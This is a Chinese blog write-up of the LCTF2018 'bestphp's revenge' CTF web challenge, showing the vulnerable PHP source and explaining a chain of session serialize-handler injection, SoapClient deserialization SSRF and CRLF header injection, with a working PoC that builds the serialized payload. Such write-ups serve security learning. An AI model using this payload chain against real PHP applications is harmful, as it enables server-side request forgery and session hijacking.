• 刷题记录:[LCTF]bestphp's revenge


    刷题记录:[LCTF]bestphp's revenge

    题目复现链接:https://buuoj.cn/challenges
    参考链接:https://xz.aliyun.com/t/3341#toc-22
    从LCTF WEB签到题看PHP反序列化
    LCTF2018-bestphp's revenge 详细题解

    这是LCTF的web签到题??打扰了。现在一天一题已经有点跟不上了。。。。

    一、知识点

    这几个知识点环环相扣形成利用链,所以我一起讲了
    session反序列化->soap(ssrf+crlf)->call_user_func激活soap类

    1、SoapClient触发反序列化导致ssrf

    2、serialize_hander处理session方式不同导致session注入

    3、crlf漏洞

    二、解题思路

    首先,php反序列化没有可利用的类时,可以调用php原生类,参考
    反序列化之PHP原生类的利用,
    贴上源码和poc讲

    //index.php
    <?php
    highlight_file(__FILE__);
    $b = 'implode';
    call_user_func($_GET[f],$_POST);
    session_start();
    if(isset($_GET[name])){
        $_SESSION[name] = $_GET[name];
    }
    var_dump($_SESSION);
    $a = array(reset($_SESSION),'welcome_to_the_lctf2018');
    call_user_func($b,$a);
    ?>
    
    //flag.php
    session_start();
    echo 'only localhost can get flag!';
    $flag = 'LCTF{*************************}';
    if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){
           $_SESSION['flag'] = $flag;
       }
    only localhost can get flag!
    

    很容易想到f传入extract覆盖b为我们想要的函数,问题是后面session的利用。
    先说SoapClient,参考从几道CTF题看SOAP安全问题

    SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
    其采用HTTP作为底层通讯协议,XML作为数据传送的格式
    SOAP消息基本上是从发送端到接收端的单向传输,但它们常常结合起来执行类似于请求 / 应答的模式。

    那么如果我们能通过反序列化调用SoapClientflag.php发送请求,那么就可以实现ssrf

    接下要解决的问题是:

    • 在哪触发反序列化
    • 如何控制反序列化的内容

    这里要知道call_user_func()函数如果传入的参数是array类型的话,会将数组的成员当做类名和方法,例如本题中可以先用extract()将b覆盖成call_user_func()reset($_SESSION)就是$_SESSION['name'],我们可以传入name=SoapClient,那么最后call_user_func($b, $a)就变成call_user_func(array('SoapClient','welcome_to_the_lctf2018')),即call_user_func(SoapClient->welcome_to_the_lctf2018),由于SoapClient类中没有welcome_to_the_lctf2018这个方法,就会调用魔术方法__call()从而发送请求

    SoapClient的内容怎么控制呢,贴上大佬的poc

    <?php
    $target = "http://127.0.0.1/flag.php";
    $attack = new SoapClient(null,array('location' => $target,
        'user_agent' => "N0rth3ty
    Cookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4
    ",
        'uri' => "123"));
    $payload = urlencode(serialize($attack));
    echo $payload;
    

    这里又涉及到crlf,参考[转载]CRLF Injection漏洞的利用与实例分析,我的理解是因为http请求遇到两个 %0d%0a,会将前半部分当做头部解析,而将剩下的部分当做体,那么如果头部可控,就可以注入crlf实现修改http请求包。如果我的理解有错,请大佬指正。

    这个poc就是利用crlf伪造请求去访问flag.php并将结果保存在cookie为PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4的session中。

    最后一点,就是如何让php反序列化结果可控。这里涉及到php反序列的机制。

    php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。
    存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列话之后的内容。
    在php.ini中存在三项配置项:

    session.save_path=""   --设置session的存储路径
    session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
    session.serialize_handler   string --定义用来序列化/反序列化的处理器名字。默认是php(5.5.4后改为php_serialize)
    

    PHP内置了多种处理器用于存储$_SESSION数据时会对数据进行序列化和反序列化,常用的有以下三种,对应三种不同的处理格式:

    处理器 对应的存储格式
    php 键名 + 竖线 + 经过serialize()函数反序列化处理的值
    php_binary 键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值
    php_serialize(php>=5.5.4) 经过serialize()函数反序列处理的数组

    配置选项 session.serialize_handler,通过该选项可以设置序列化及反序列化时使用的处理器。

    如果PHP在反序列化存储的$_SEESION数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的伪造,甚至可以伪造任意数据。

    当存储是php_serialize处理,然后调用时php去处理,如果这时注入的数据时a=|O:4:"test":0:{},那么session中的内容是a:1:{s:1:"a";s:16:"|O:4:"test":0:{}";},那么a:1:{s:1:"a";s:16:"会被php解析成键名,后面就是一个test对象的注入。

    正好我们一开始的call_user_func还没用,可以构造session_start(['serialize_handler'=>'php_serialize'])达到注入的效果。

    三、解题步骤

    先注入poc得到的session

    触发反序列化使SoapClient发送请求

    携带poc中的cookie访问即可得到flag

  • 相关阅读:
    SQL Server数据库文件与文件组总结
    SQL Server使用sp_rename重命名约束注意事项
    LogWriter: Operating system error 21(error not found) encountered
    SQL Server的Linked Server支持使用SEQUENCE吗?
    SQL Server使用sp_spaceused查看表记录存在不准确的情况
    SQL Server死锁中的会话隔离级别为序列化(Serializable)实验测试
    SQL Server统计信息偏差影响表联结方式案例浅析
    SQL Server关于predicate、density、selectivity、cardinality名词浅析
    Oracle dblink的连接模式的关系测试总结
    MySQL系统变量sql_safe_updates总结
  • 原文地址:https://www.cnblogs.com/20175211lyz/p/11515519.html
Copyright © 2020-2023  润新知